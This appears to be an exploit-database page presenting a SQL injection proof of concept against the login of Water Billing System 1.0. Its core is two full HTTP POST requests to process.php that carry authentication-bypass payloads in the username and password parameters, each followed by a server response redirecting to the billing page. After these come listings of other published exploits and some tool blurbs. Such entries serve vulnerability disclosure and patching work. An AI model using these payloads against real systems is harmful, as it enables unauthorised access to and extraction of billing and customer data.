To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection"

Author

Exploit author

"Sarang Tumne"

Platform

Exploit platform

php

Release date

Exploit published date

2020-11-12

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# Exploit Title: Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection
# SQL Injection in  'username' and 'password' parameters allows attacker to run the SQL commands on the victim to extract entire DB. In advanced exploitation, an attacker can run the arbitrary code on the victim system to compromise it...
# Exploit Author: Sarang Tumne (CyberInsane)
# Date: 4th Nov, 2020
# Confirmed on release 1.0
# Tested on: Windows Server 2016- XAMPP
# Vendor: https://www.sourcecodester.com/php/14560/water-billing-system-phpmysqli-full-source-code.html
###############################################

POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username='%20or%200%3d0%20#&password=password

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:51 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=4q8t10sshr36he7sl19hb563a0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>
=========================================================================
POST /wbs/process.php HTTP/1.1
Host: 192.168.56.102:8080
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.56.102:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.56.102:8080/wbs/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

username=admin&password=a'%20or%20'a'%20%3d%20'a

Response:
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 04:30:49 GMT
Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.2.30
X-Powered-By: PHP/7.2.30
Set-Cookie: PHPSESSID=34a478h4bhtliatg8l71kmp10r; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 48
Connection: close
Content-Type: text/html; charset=UTF-8

<script>windows: location="billing.php"</script>
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-11-12 "Water Billing System 1.0 - 'username' and 'password' parameters SQL Injection" webapps php "Sarang Tumne"
2020-07-26 "Port Forwarding Wizard 4.8.0 - Buffer Overflow (SEH)" local windows "Sarang Tumne"
2020-02-17 "Avaya Aura Communication Manager 5.2 - Remote Code Execution" webapps hardware "Sarang Tumne"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/49032/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.